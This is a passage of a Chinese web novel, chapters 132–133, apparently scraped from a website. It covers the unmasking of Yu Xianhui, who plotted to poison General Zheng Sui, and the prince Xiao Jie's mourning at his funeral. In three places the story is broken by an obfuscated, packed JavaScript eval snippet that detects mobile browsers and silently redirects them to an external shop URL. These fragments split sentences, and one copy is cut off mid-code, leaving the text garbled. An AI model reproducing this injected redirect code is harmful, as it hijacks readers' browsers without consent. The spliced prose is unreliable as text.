秦寄凝视萧玠,说:“你对我好是为了他,他看重我是为了你。我算个什么东西。” 萧玠和他对视一会,扭开脸,说:“先吃饭。你不爱吃粥?我叫人给你做个馍来。” 他起身遮挡住灯火,光线改变后,秦寄那张和他相同的脸又变回之前满不在乎的样子。秦寄说:“我不吃饭,我要解手。你捆着我我怎么动?” 萧玠一顿,说:“我帮你。” 他把旁边干净的恭桶拿过来,伸手去解秦寄的腰带。将秦寄外裤脱下来的一瞬,萧玠听到秦寄带冷气的嗤笑。 秦寄刻毒地说:“梁太子倒很习惯伺候男人。你还这么脱过谁的裤子,郑绥吗?” 萧玠一下子抬起头,不可置信地看着他。那张冰冷的脸化成毒蛇一口咬在他心头的致命伤上。他嘴唇剧烈颤抖,一下子把腰带摔在秦寄身上,整个人一根断折的稻草一样跌倒在地,捂着脸无声地哭起来。 他突如其来的崩溃叫秦寄得逞了,秦寄的心却揪成一团。 太奇怪了。太不对劲了。萧玠绝不肯在自己面前哭成这样,但他现在居然哭成这样。他为什么会哭成这样? 秦寄觉得询问是一种示弱,但还是忍不住问:“你怎么了?” 萧玠只把后背给他,好一会,秦寄才看见他抬起袖子擦干净脸,转过身,有些木然地问:“你还要解手吗?” 秦寄眼睛盯在他麻木的脸上,没有说话。萧玠把这当作一种默认,低手解开他腰间一条猩红汗巾,要将他亵裤脱下来。 这时候秦寄制止了他。 秦寄两只手变戏法一样,从看似牢固的绳结间穿到身前。他站起来,那摊死蛇一样的绳子萧玠一样地滑在地上。 他边系裤子边对萧玠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741308|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“我要吃饭。给我弄饭。” *** 夜间积云呈一种雾状散落天际,君水之畔的土地浸汗的皮肤一样格外湿黏起来。 郑绥手里端着饭菜,炊饼仍冒出刚出炉的白色热气。他要迈进帐中时,听到有人对面走来的脚步声。 他看到一个神情漠然身穿官服的女孩子手捧一只盛放衣物的托盘走来,问他:“崔刺史没在帐子里?” 郑绥的回答模棱两可:“她最近有要事。” 虞仙翚得到答案后并没有走开,而是审视郑绥眼睛,嘴里却在关切:“郑将军的嗓子怎么了?” 郑绥道:“行军心焦,长时间顾不上吃水,倒了。” “倒了嗓子是要好好保养,不然这辈子很难变回来。”虞仙翚问,“郑娘子来了,将军不去见见女儿吗?” 郑绥的面部肌肉发生了一种很古怪的走向。很难理解他听到郑旭章会这么紧张,但虞仙翚理解了。 她并不细腻的手落在那堆丝织物上轻轻摩挲,只说:“等使君回来告诉她,我做好了新衣请她试穿。” 嘱咐完毕,虞仙翚瘦小的身影一只蜷居的小兽一样隐没在黑夜里。郑绥冲她离去的方向望了一眼,像一个猎人,也像一个钻入圈套的猎物。他站在靠近帐篷的位置,夜风掀动帐门,缝隙间泄露出萧玠伤心的鼻息声。 郑绥手中炊饼的热气已经完全冷掉,变成一层霜类物附着在饼面。他闪身进帐。不一会帐中响起少年咀嚼吞咽粮食的声音。 *** 君水犒军早已结束,萧玠却仍原地逗留三日之久。有人推测他要把这片旧地建成一座软禁南秦少公的新牢,有人嗤之以鼻,哪有囚犯吃饭喝水都要狱长哄的?天心深重,不要嚼舌。 没有人再去纠正这等同谋逆的语病,奉皇二十二年萧玠在樾州人心中的位置和玉升年间萧恒在潮州人心中的位置别无二致。这对此前任何一代王朝来说都是会引发储位废易的大震动,但对于本朝而言,皇帝甚至比任何人都要乐见这一点。 当场所有人都承认,君水这条樾州的母亲河见证了萧玠帝王城府的初次显露。强压孔如期只是一个序幕,高潮要在这三天淋漓尽致展现后趋于尾声。三天里萧玠从容自如,和文官商讨樾州复建,和武官商讨守备完善,还在间隙看顾秦寄吃饭上药。哪怕他明白,秦寄留在这里是一种外强中干式的自投罗网。这对萧玠来说是一种情感支撑。秦寄以及他代表的母系符号在不自知的情况下成为这座将倾大厦抢修完毕前最关键的三根支柱之一。它、旭章和真相一起支撑萧玠以毫无破绽的平静度过这三天,在第三天的夕阳落山之际迎来崔鲲烟尘阵阵的马蹄。 崔鲲在萧玠摇晃相迎的脚步中跳下马背,向他单膝跪地,“凶犯已经获擒,请殿下召集众员入帐议事。” 萧玠搀扶她起身,说:“还是咱们几个人先行商议吧。崔鲲、狄皓关、郑绥、东方彻、虞仙翚进帐,其余人各去做事。还有,把所擒凶犯押进来,我有话要问。” 进帐后东方彻仍有些不明就里,“凶犯?是当初试图行刺的凶犯?可这风口浪尖上,他们敢再次作案?” 萧玠从当中一把太师椅坐下,叫道:“鹏英。” 崔鲲会意,解释道:“臣从委蛇山率队回城前,在驿馆留下一口棺材,托主人切莫声张好生照看。同时,臣也在附近留下一支伏兵,等候是否有人意图开棺。” “使君觉得,会有人做出辱尸之事?”东方彻越问越晕,“可出行人员并无伤亡,连汤犯都毫发无损。使君,这是谁的棺材?” 崔鲲转过头,轻声道:“郑将军,请大伙瞧瞧你的真面目吧。” 一旁,带刀侍立的郑绥五根手指从脸上一揭,揭下一张面具,露出一名樾州营军官的脸。 别说东方彻,连狄皓关都大惊失色,“这是怎么回事?” 崔鲲道:“黄岩峰行刺后,向我认罪伏法。一行之中只有郑绥中毒,汤惠峦却身体无碍,说明凶手就是奔着郑绥来的,用毒是为了削弱其武力能让黄岩峰一击得中。黄岩峰出现在郑绥的乙号房中,但他供词所述,怕出失误多次确认是汤惠峦所住的丙号才敢进房。” 东方彻道:“使君之前讲到,是火长岳成仁偷换门牌。” “在这里,臣罪犯欺君。”崔鲲向萧玠拱手,“臣之前说,是郑绥发现门牌有误找出凶手。其实发现这件事的不是郑绥,是臣。” “臣在第二天赶到现场,发现郑绥的门牌仍是乙号。说明有人偷换门牌,并在黄岩峰行刺后再次改换回来。臣按照时间排查,找出岳成仁。” 萧玠道:“然后岳成仁自尽身亡。” “是,但这时候,臣并不知道岳成仁是否把情况汇报给他的上峰。所以臣做下两个套子。 “一个就是带队凯旋,让郑绥功成出面,对方一次行刺不成,必然会再次出手。就这样套到了丁逢源。但丁逢源反咬一口,咬死在秦少公身上。这个套子废了一半。这时候第二个套子就能派上用场。 “假扮郑绥的副官故意露出破绽,让真凶对‘郑绥生还’这件事生疑。此后,其一定会派人回到委蛇山,探查有没有郑绥的尸体。这就是臣留下棺材和伏兵的原因。” 东方彻惊疑,“这凶手一而再再而三,只为置将军于死地。可郑将军战功赫赫、颇有人望,谁和他有此深仇大恨?” “深仇大恨,要君子十年为报。”萧玠神色淡淡,声音却如平地惊雷。 “虞娘子,你以为如何?” 132.第 132 章 帐中所有人的目光集中在虞仙翚身上。 那个清瘦的女孩穿着略显阔大的深青官袍,脸色依旧洁白如霜。她的声音像她的脸一样清淡:“殿下之意,是我要杀郑绥。” 崔鲲依旧面向萧玠,没有转身看她,“岳成仁被我在驿馆盘查出来后当场自杀,他把毒药镶在后牙里。虞成柏虞山铭所训练的军队,行刺时有以牙□□的旧习。” “还有呢?”虞仙翚没有恼怒也没有争辩,她追问的声音如同梦呓,“不少死士都有牙里□□的手段。使君还用什么做我的罪证?” 崔鲲道:“还有再度行刺的丁逢源。” 东方彻惊道:“丁逢源不是西琼人吗?在他尸身上找到了西琼的马面刺青。” “他是西琼人。这就是另一桩大事。”崔鲲道,“东方长史应该知道,虞氏当年抄家流放,因为除谋逆之外,还有一桩大罪。” “阿芙蓉买卖。”东方彻浑身一竦,“难道西琼也跟阿芙蓉有关?” 崔鲲道:“根据账目清算,柳州罂粟数目虽然庞大,只够供养半条阿芙蓉作业运转。也就是说,除柳州之外,一定还有一个极为庞大的罂粟种植园地。这几年大梁重压之下,依旧一无所获。所以陛下怀疑,这个未知的罂粟园不在大梁,而在境外。 “从目前的线网看,虞氏的阿芙蓉交易和齐国有莫大干系。但各位知道,齐国地旱土酸,很难种植罂粟。也是祸兮福兮,公孙兄弟在州府留下的文书中,有一些和西琼交涉的函文,语中不明,指向模糊。我找到几个戴罪立功的黑膏管事,他们看出,这就是商议阿芙蓉出口倾售的信件。 “也就是说,和虞氏做阿芙蓉交易的,除了齐国,还有西琼这一暗中的客人。” 东方彻大惊,听崔鲲继续道:“得知此事之后,我又叫人追查丁逢源的来历,发现他并不是在奉皇二十一年樾州之乱后才潜入梁境。此前五年,他都以‘丁见愿’的名号沿永安运河南段行走,而丁建愿,正是虞氏阿芙蓉案在逃主事之一。” 崔鲲没有转身,声音有些抖动的痕迹:“等你任职织造,他也回到柳州。他去找你。” 虞仙翚脸上没有波澜,“他是去找我,也表明愿为我效力。但使君也清楚,我不会沾手阿芙蓉这等祸国殃民之事。” “你深厌阿芙蓉,但不妨碍你将他收为己用。”崔鲲厉声道,“你收拢一个西琼人,不怕他做出更为祸国之事吗?” “鹏英。”萧玠语带安抚,目光再次转向那个孤傲冰冷的女孩,“虞娘子,这不是你第一次出手了,对吗?奉皇二十一年初,虞氏旧人卜南山调换火炮,在东宫巡视期间炮制爆炸案——那次的目标不是我,是他。” 虞仙翚终于对上他的目光。 她最后一点人的温度和伪饰一起蜕掉,下巴颏微微抬起,有些倨傲地看着萧玠。 她说:“是我。” 一帐之中一寂如死。 帐中烛光舞动,投在萧玠脸上,留下几道裂痕似的光迹。他有些了然,又有些迷惘。他嘴唇艰难地张开:“你是为了给虞氏报仇。可你要报仇,为什么不找我?” 他越说声音越控制不住:“是我下旨杀你父亲,你为什么不找我?” “我父经营黑膏又意图谋反,这是罪有应得。太子因公论事,我不报父仇。”虞仙翚说,“但我母亲因郑绥强行抄家而死。” 萧玠深吸口气,“我有一套公文,给罪臣家眷保留了糊口的钱财。其余贿款充入国库,他是因公办事!” “我家有一座珊瑚盆景,是我父母结发三十年时我父赠送母亲的礼物,祝她无灾无病,长命百岁。那是她最后的一件念想。”虞仙翚说,“当时我母亲缠绵病榻,她苦苦哀求郑绥高抬贵手,郑绥却强行将此装车抬走。当夜我母亲就抱着掉落的盆景底座跳进井里。” 虞仙翚眼中闪烁偏执的白光,她的身体一只意图攻击的兽一样紧绷起来。她说:“上位者抬抬手指,就能放过蝼蚁一命。我母亲避开了太子你令旨的巨石,却没避开他的一根手指。我为什么不能恨他?” “虞山铖因一己之私害死多少人?别人的妻女苦苦哀求他时他动过恻隐放过他们一条生路吗?你母亲的礼物是百姓血肉换的贿赂,郑宁之查抄,合旨、合情、合法!”萧玠因激动咳嗽起来,他甩开上前搀扶的崔鲲的手站起来,身体却摇摇欲坠,“退一万步讲,抄家的令旨也是我下的!你父亲是我害死的,你哥哥是我害死的,你母亲也是我害死的!你报仇为什么不找我,你为什么不杀我?” “他喜欢你。” 虞仙翚看着他,一字一句道:我“那个傻哥哥,我父亲摆到东宫里的那颗棋子,他喜欢你。” 萧玠嘴唇剧烈颤抖起来。 他看着女孩青春美丽的脸庞,突然绽放罂粟花般邪恶的涵义。虞仙翚问:“何况,我没有报复你吗?” 她下蛊一样吐出接下来的咒语:“皇太子,你喜欢他。世上有大过死亡的惩罚。” 萧玠一下子跌到椅中,没有狄皓关眼疾手快扶住,连人带椅都要栽在地上。他被烛火射出的纸钱形状的一枚白光粘住,而帐中另一处光域里,虞仙翚仍坐在自己的位置,单纯地,漠不关己地,像一枝冷竹横生沼地,影子却是扭曲的毒蛇。 她知道萧玠在思索如何杀她,也在思索是否要杀她。萧玠再痛恨,也不得不考量她身份的特殊性。于理她是纺织乃至动力技术改革最关键的一员,她是女官制度树立的榜样之一,她一死,好容易破开阻力当空飞腾的改革巨龙将斩断一足。于情,她是那个人的妹妹。她永远忘不了一个午后哥哥躺在太子怀里的宁静冰凉的尸体。所以他最好杀掉自己。这样他永远对不起虞闻道。他永远永远都要辜负他了。 虞仙翚欣赏萧玠的表情,他跟一个倒在血泊里的人别无二致。可她心中没有想象中的快意,只有阵阵悲凉。为了报复凶手她也成为凶手。那座珊瑚母亲血红的尸体一样压在她脑袋上。 她别无他途。 一片哄乱也是一片寂静中,虞仙翚听到一缕虚弱的声音,“我怎么会留你到现在?” 崔鲲的双手从萧玠低垂的手臂上滑落。她不知道在问谁:“我怎么给朝廷找了个这样怨憎国法的地方官?” 虞仙翚磐石般冷酷的心颤动了。 她看到有水迹在崔鲲脸上闪烁,她愣了一会才意识到那是泪。她突然想到另一个午后,不是死亡是紫色轻烟盘绕的东宫,而是樾州绿色的春天。她捧着托盘推开崔鲲下榻的阁室,裁衣剪的冷光像花子一样暧昧地粘在她颊侧。她说我来给使君裁新衣。崔鲲看到她,却不像人前那么和煦,带着一段距离和一种凉凉的温度。 虞仙翚走上前为她丈量尺寸。这是不必要的事情。在第一次为她裁衣时虞仙翚已经做过。她这样对人体过目不忘的本领,之后仍做了十数遍。崔鲲没有答允也没有推拒。 虞仙翚把那些牢记于心的数目再次丈量,做好这一切后站到一旁。 崔鲲坐回椅中,看向毫无告辞之意的虞仙翚,还有什么问题吗? 你和离了? 崔鲲板着脸孔,但语气毫无斥责之意。她说虞织造,这是本官的私事。 虞仙翚反而绽开笑容,笃定地说,你和离了。 崔鲲不再和她目光相接。 崔鲲道,我和郑宁之,不是你该问的事。 虞仙翚说,那我的东西,是不是我该问的事?使君,我上次织给你的那件衣裳,你穿着了吗? 崔鲲脸色变了,变得混沌不明,说不清是恼怒还是近似恼怒的另一种情绪。 虞仙翚叹口气,转身要推门。 你立住。 在此之后崔鲲没有说话。 虞仙翚站在门前,听见身后衣料摩擦的窸窣声响。 她转过身,看崔鲲坐在椅中,将官袍的胸襟解开、中衣的衣襟解开,露出胸口前最后一件遮蔽之物,那条在虞仙翚手指下淙淙流淌成型的袔衣。她每次用它包裹都像虞仙翚的手指包裹她。彼时彼刻虞仙翚终于这么做了。 樾州温凉的阳光照射下,崔鲲算不上饱满的肌肤起了一层栗。椅子发出碦啷碦啷细微的响动。虞仙翚少女的呼吸喷洒在上之前她的五指先行其上,从侧面的轮廓处缓慢包拢。她抚摸崔鲲,却专心致志地似乎只是抚摸那层丝帛。崔鲲两条手臂撑在太师椅上,依旧面无表情,只有虞仙翚感知到她的颤抖。那抖动甚至不曾叫她官袍上的白鹤振翅一下。直到虞仙翚把那层丝织物的右方濡湿又抓住左处那隆起的布料时,那双恪守什么的手臂才脱臼般从椅子边重重掉落。 虞仙翚不用多做什么,她那只粗糙又灵巧的右手就足以让崔鲲缴械投降。崔鲲的官袍彻底解落时,虞仙翚在崔鲲的抽气声中听到细微的齿轮啮合的声音。在崔鲲睡去后,她会找到那只来自太子的香囊,闻到其中混合降真香的浓郁气息。过几日,她的线人岳成仁会在郑绥与这香囊的初见之夜调配饮食,这颗有情人终于奉出的真心会放在郑绥胸腔,变成一颗有毒的心脏。 翌日清晨她辞别崔鲲,她的计划跟随她感情的车轮将驶向全新的彼岸。她会是全部的赢家和最后的输家。天作证她绝不后悔,这惩罚和恩赐她一力承担。 虞仙翚的车轮在这个夜晚崔鲲的眼底彻底停止。她听见崔鲲问:“这个郑绥是假的,但你就断定,郑绥真的死了吗?” 虞仙翚双眼一瞬间睁大,“他没有死?他在哪里?不可能那药的剂量就算十头牛也会放倒,他怎么可能活?” 崔鲲没有回答她。 虞仙翚被狄皓关召入帐中的守备军打晕带出去。崔鲲看着一下一下因风鼓动的灯火,问:“如何处置?” 萧玠沉默一会,说:“国法论处。” 崔鲲也静了片刻,说:“要么就贯彻用法,要么就徇私用情,执法容情,这是我们妇人之仁的报应。” 东方彻看着萧玠灰败的脸色,问:“那口棺材里……真的是郑将军?” 崔鲲道:“那是口空棺,专门用来引蛇出洞。” “这么说将军还活着!”东方彻十分激动,“将军身在何处,怎么还不现身?” 和东方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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崔鲲把郑绥的死讯塞进斩杀公孙铄的捷报里。她知道太子一定会主持大局,但失去郑绥的萧玠她不知道他能否支撑下去。 返程后她见到了太子的沉稳和萧玠的沉痛,但她自始至终没有见到萧玠的眼泪。哪怕是看到郑绥尸身抚摸那冰冻脸颊连叫三声绥郎无人应答的一瞬。 萧玠真正的痛苦淤血般堵塞在他的命脉里,这让崔鲲无比忧惧。 萧玠回到樾州城中,甚至来不及去新布置的灵堂看望旭章,就被匆匆赶来的东方彻迎住。 东方彻说:“有贵客前来。” 他附耳对萧玠说些什么,萧玠一怔,当即说:“带路。” 坐在公廨等候的陈子元在听闻郑绥死讯后见到萧玠。 一见到他,萧玠强撑的纸片般的身躯摇摇欲坠,在陈子元双手托住他两臂时,哑声叫:“姑父。” 陈子元立时掉下眼泪,“怎么消瘦成这样?幸亏是我来,要是你阿耶见着,岂不是挖他的心肝吗?” 萧玠强打精神,宽慰道:“我还好。只是现在乱作一团,怠慢姑父。原打算料理好西南战局再作他论,只是如今柱国将军不幸,我得回京给他治丧。既然您来了,便将阿寄领回去吧。代我替他致歉,叫他平白抱屈。” 陈子元唉声叹气:“我来也是说这件事……本是你阿耶的意思,可他不晓得你这边出了这样大的事。” 萧玠问:“阿耶原本是什么意思?” 陈子元看了看他,又叹口气:“原本想叫你暂领他到你那边去。” “叫阿寄来长安?” “你不晓得,光明宗现在越弄越乱了。阿寄孤身出来,是背弃了光明,差点叫人逼上死路。你阿耶正和宗祠里那群老东西斗,这段时间决计不能领他回去。” 萧玠问:“那西琼呢?” 陈子元似乎有什么难以启齿:“西琼更不能回。你阿耶和段映蓝不是那回事……南秦和西琼的联盟也要告吹了,这两边都待不得。阿寄一个人跑了这么久,你阿耶昼夜悬心,哪里睡过一个好觉?他不晓得你这边……本来是想求你帮一个忙。” 萧玠握住他手,“姑父哪里话。阿寄本就是我弟弟,我照料他是应该的。只是……” 他顿一顿,语气苍凉:“樾州惨案和柱国将军之死,西琼都有插手。此仇我不能不报。我和阿寄,是早晚的仇敌。” 陈子元握紧他的手,道:“孩子,我知道你这些年心里苦。这件事你别管了,照顾好自个。阿寄的事我再拿主意。” 萧玠摇摇头,“叫他跟着我吧。彼此怨憎总好过骨肉相残。他万一跟段氏上了战场侵凌梁地……姑父,我能怎么做?到时候阿耶心都要碎了。叫他跟着我,但这件事还请姑父保密,不要声张出去。不然段氏就有名正言顺兴兵的由头。等到和西琼对阵那天,阿寄押在我手里也是人质。至于阿寄自己……” 萧玠笑了笑:“他已经恨我了。再恨就恨吧。” *** 史载,奉皇二十二年四月,忠武将军郑绥殁,追赐柱国将军。太子亲治丧,扶灵回京。 133.第 133 章 郑绥棺椁在樾州公廨停灵三日,萧玠披麻戴孝,为他跪灵三日。 旭章大哭着冲进灵堂时,被颜氏和崔鲲拦在门外。门内萧玠又燃一把纸钱,看那形如玉玦的白圈逐渐断裂,化成飞灰又化成青烟。 他又往盆里抛一把,说:“松开她,叫她进来。” 旭章几乎是一头撞到他怀里,哭不成个,只能爹啊爹啊地叫。萧玠环抱过她,仰面看黑棺后那座蓝底金字的灵位。他轻轻拍打旭章后背,说:“哭吧,但不要一直哭。哭是不顶用的,囡囡,我们活着就要向前看。” 女孩伏在他怀里,从撕心裂肺的嚎啕变成啜泣,再过一会她抬起小手想为她独存的父亲拭去泪水,却发现这张脸冰凉干燥如她已逝的父亲。 萧玠低头,熟识他平静目光的旭章无法识别其中死寂的含义。她听到阿耶沉声叫自己的名字,他说:“郑旭章,磕头,告诉你爹,你会好好的。让他安心上路。” 真正上路的那天是旭章此生难忘的画面。太阳凭空消失在樾州万里无云的天际,只留下一地阴沉的灰影。为爹抬棺的十八名守备军外穿麻衣侧入灵堂,向阿耶抱拳。阿耶头戴素巾,身穿素袍,脚踏素鞋,冲他们一颔素面,十八名军人跨步黑棺之侧。 阿耶低叫一声:“旭章。” 旭章站到灵前,捧起那只焚烧纸钱的瓦罐,高高举过头顶,重重摔在地上。 瓦罐碎裂声里,十八将士把大杠抗抬在肩。 棺椁悬空的一瞬,旭章听到成千上百扑通扑通落地之声,堂门外院门外直至城门外,上至刺史下至黎民,樾州所有人戴孝穿麻,跪送父亲永远离开樾州土地。紧接着,阿耶将案上神主抱在怀里。他走到棺前,用旭章从未听过的声音连叫三声:“噫兴——噫兴……噫兴!” 一瞬间,所有人的哭声被天地的大嘴呑进肚里。人们不约而同闭紧嘴巴,眼看数丈灵旗灵幡前高举起郑氏军旗。阿耶迈动脚步,启动送葬仪式。他站在龙头的位置带领这支雪白的送葬队伍舒展身体、游过全城后前往东北。 所到之处,不断有路祭供奉摆放,不断有乐舞百戏相送,不断有人跪倒磕头高叫郑将军一路走好,各种声音齐奏震彻天际,却没把灵幡死亡般的影子从阿耶脸上撼移一寸。灰黑色的阴翳变幻了阿耶头脸的色彩纹路,旭章发现阿耶变得像一个白头的老人。 自樾州至京师半个月数百里,阿耶未乘车马,一路步行。 队伍至承天门前已入五月,为保郑绥尸身,沿路一直买冰贮存。长安难得的宝蓝色的天空下,象征天子亲迎的华盖高举。 那支洁白长队驶出地平面时,萧恒紧紧挽住身边郑素的双手,支撑他接受这白发人送黑发人的惨剧。当年也是在承天门前,那少年将军推棺而出拔剑在手,双脚落地时已两鬓生华,二十余个春秋就这么无声无息悄然度过。 一派死气沉沉里,萧恒看到儿子如同死灰的脸。 他顿时明白萧玠遭受了怎样的酷刑。 赶在郑素向太子下拜前,萧玠先扑通一声向他跪倒。 郑绥的死亡增添了他双膝的重量,两侧宫侍竭力也无法捧他起身。众人簇拥中,萧玠神情痴滞,直着嗓子叫道:“将军,我对不住你。” 郑素大惊,来不及拭泪忙要冲他跪下,却叫萧玠两只手紧紧抬住。萧玠不知哪里生出能与他相抗的力气,仰头看他,喃喃说:“他是旭章的爹,依照礼数我也应该跪你。将军你要跪我,才是折我的寿。” 他这番话说得惊世骇俗,但萧恒却洞察其中包含了何其憾恨的情愫。萧恒将萧玠抱扶起来,说:“好孩子,有什么事咱们回去商议。现在在臣工之前,最紧要的是让柱国将军落定为安。” 萧玠没有反抗,由萧恒抱在怀里。当灵车往相反方向驶动时萧玠身体一下子绷紧,他手忙脚乱地要把自己从萧恒怀中挣出来,“怎么往南去,不往西吗?郑宁之这样的功劳还不能葬在阳陵吗?就算回郑氏祖地也是往北啊?” 郑素手腕仍被他拽着,红着眼睛道:“殿下,他回白云囤。” 这个被时间之水冲刷褪色的地址突然重现亮色。但萧玠脑子已经无法运转。他只是哑声叫:“不行啊现在天这么热,从西南赶回来就用了半个月,如果再去柳州就要烂了……陛下,爹我求求你爹,你别叫他走,你们别叫他走呀!” 郑素进退无法,在萧恒示意下将灵车带走。萧恒两条手臂死死将萧玠箍在怀里,“阿玠,你听话!这是郑绥自己的心愿!昨天杨夫人替他收拾旧物,从他书稿里找到的,一百多张的狐死首丘!那才是他想去的地方!” 萧玠听不明白,他崩溃的神经、理智和情感不允许他听明白,他只看着那辆运载黑棺的灵车离他越来越远,那艘死亡的黑船载着郑绥泊向一片未知方域。那里会不会很黑很冷? 梁王朝在京的全部官吏见证了这史无前例的一幕,太子对送葬郑绥的悲伤甚至远逾郑氏中人,像一双鸟尚未比翼便失散,两棵树不及连理即断根。 突然,一只手钳住他十指,他听到玉镯脆响,意识到那是双女性柔荑。 泪痕未干的杨皇后紧握他双手,说:“殿下,阿绥还有东西留给你。” 这句话像一道充满魔力的咒术,萧玠一下子安静了。在萧恒默许下,人群让开道路,目送太子傀儡木偶般跟随皇后离开,去往一个不是皇宫也不是郑府的方向。那里埋藏着前朝后宫无数故人牵连至今的真相。 本该葬往阳陵的棺椁辘辘南下,人马迁徙声带走了京师全部喧嚣。现在,长安重新吹起五月初轻俏的风,萧玠如在梦里,感觉身体无比轻盈。他由杨皇后牵着手,在睽睽众目下走过大街小巷,经过那些他陌生也熟悉的石路船桥。他们落叶般飘落在一扇竹门前时萧玠如梦初醒,他终于明白一路景色何以如同回忆。 这是他小时候频频造访又多年不曾踏足的——曾被夷为平地又被复原如初的—— 李寒的府邸。 杨皇后从袖中取出一枚钥匙交给他。萧玠把钥匙插入锁孔,拧动好几下才响起咔嗒锁开声。 他推开门,在门槛前仰头站住。 庭中,一株枇杷树郁郁青青。 萧玠听到自己嘴唇抖动时干裂的嘴皮摩擦的声音,里面夹杂着嘶嘶气流和他零星的话语:“我记得,这里从前是一株樱桃树。” “是。那株樱桃树,是郑绥的生父为其生母手植。这原本是他生母别居的院子,你记不记得这里有条暗道?原本是他父亲为见其母才修建的。” “他不是郑素的儿子,他其实是郑素的表弟。”杨皇后唏嘘,“他的书道,的确无逊于他的父亲。” 郑绥归根的这个晌午,萧玠在枇杷蓊郁枝影下,聆听了一个串联起许多故人的真相。那些模糊的遥远的在只言片语中成为碎片的面孔,在杨皇后淙淙流淌的声音里渐次清晰。 很多年前,一个青氏的梁国少年前往燕地游学,结缘一名高贵的息氏少女。他们止乎于礼的情意和燕国烟云般美丽的风物一起被大梁铁蹄惊成灰土。五年之后,两人于梁国宫苑重逢,少年已经是初露头角的朝中新贵,身为燕太子嫔的少女被强占为梁皇妃妾。他们中间横亘的锦障如同国恨的鸿沟。 数日之后,息氏锦书辗转托付,央求青不悔帮她出宫。她和燕太子的儿子作为宫奴充入劝春行宫作乐伎,这是她冒此大险的真实目的。素来恪守君臣之道的青不悔送来一枚假死香丸和四个买通的内官。她在青府度过一个夜晚,两个物是人非的旧情灯烛相对却秋毫无犯。这个夜晚息氏洞察了青不悔五年如一日的金子的心。但将死之人不要金子只要饭食。她必须救出她的儿子,她的骨肉,她在世的唯一血亲。 她需要青不悔的助力。 在接下来的日子里,息氏竭尽毕生本领对青不悔发动了一场引诱。她深知青不悔越得过任何人的石榴裙却越不过她的一颗泪珠。她得逞了。 但息氏拒绝和青不悔并居,她要求有一座单独的院落,这是她联合燕人展开密谋的基地之一。她也不愿招摇过市,已故燕妾死而复生是能导致满盘皆输的风流话题。所以她要求青不悔打通一条暗道。这样名不正言不顺夫非夫非妻近乎私通的方式,青不悔居然也应允了。他智者的眼睛望向她,有一股洞悉的哀伤。他包容了心上人的一切,直到息氏的纤纤玉指笼罩到大梁国事之上。 青不悔没有举发她,但的的确确与她割断袍袖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750204|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息氏辞别青不悔,义无反顾地投向困住她儿子的行宫樊笼。 息氏离开后那个院落的故事她不得耳闻,青不悔在两人情睦时手植的樱桃树已经抽枝,后来院落封锁,再后来李寒进京,产业不丰的青不悔将院子给无处寄身的李寒居住。 母子相依为命的行宫岁月里,大梁政事如同逐水落叶般的身外之物。萧伯如登基,青不悔远离中枢,地方恒逆势力膨胀,再然后,女帝针对行宫燕人展开清扫。 压垮息氏的最后一根稻草坠落了。 那个可怜的男孩子死在这场劫难里,而他悲痛欲死的母亲却活了下来。息氏搜寻一切助力绝望地展开复仇。她再度想到灯火阑珊夜故人衷情难诉的眼眸。这时候协助萧恒治水的青不悔被召返回京。两个人再度相见,犹如孤禽对困兽。 这一夜的含义远逾逾墙夜奔。枕衾间息氏的肉卝体蜿蜒在青不悔身侧,吐出毒液浸染的柔声细语。她认为两人有一致的仇敌,她要求青不悔帮她弑杀那个居身云霄却摇摇欲坠的女人。 青不悔拒绝了。 后来的故事,历史也知道了。萧伯如崩,青不悔死。但有关息氏,这一缕旋绕燕国梁国的哀怨香魂何时成烟,还要回溯到两人最后肌肤相亲之夜。 这个夜晚,诞生了大梁国二十四年后的将星。 没有文字记载萧伯如之死有息氏多少推手,她隐身朝政漩涡之下,就像世族何以在萧伯如产期之日精准逼宫的真相一样隐身于故纸堆中。怀帝退位实则驾崩的当日,息氏眼望天边白虹贯日的吉兆,幸福地悬梁自尽。脚凳落地时惊起床内婴啼之声。 不久婴儿被装进竹篮丢进青不悔府邸。这天黄昏,快马回京的郑素发现了竹篮,得知了孩子的身世。 这天青不悔为息氏手植的樱桃结了又一茬果实。 杨观音说:“这天是青不悔的死日。” 杨皇后的话音消逝在一阵枝叶震动的沙沙声中。萧玠抬手,抚摸低垂眼前的一片椭圆绿叶。这动作影影绰绰和十年前他稚龄的手重叠。那时候这座院子还没有重建,仍是废墟一堆。 二十二岁的萧玠看到,自己十二岁的手在枯枝上揉搓一下,转头对郑绥——第一次见面时,只到现在郑绥腰间高低的小郑绥——说,这其实是株樱桃树。我很小的时候常跟陛下来老师这边,他们说事情,我就在院子里玩。老师就摘樱桃给我吃。只是七年前一场大火,也烧死了。 郑绥静静看他,问,这株樱桃树是文正公手植吗? 萧玠摇摇头,是上一任主人。 郑绥看着那株萎缩的死树,默然片刻,又问,甜吗? 萧玠微愣。 郑绥问,樱桃,甜吗? 萧玠笑了笑,甜的,要是活到现在,就能给你尝尝了——你怎么了? 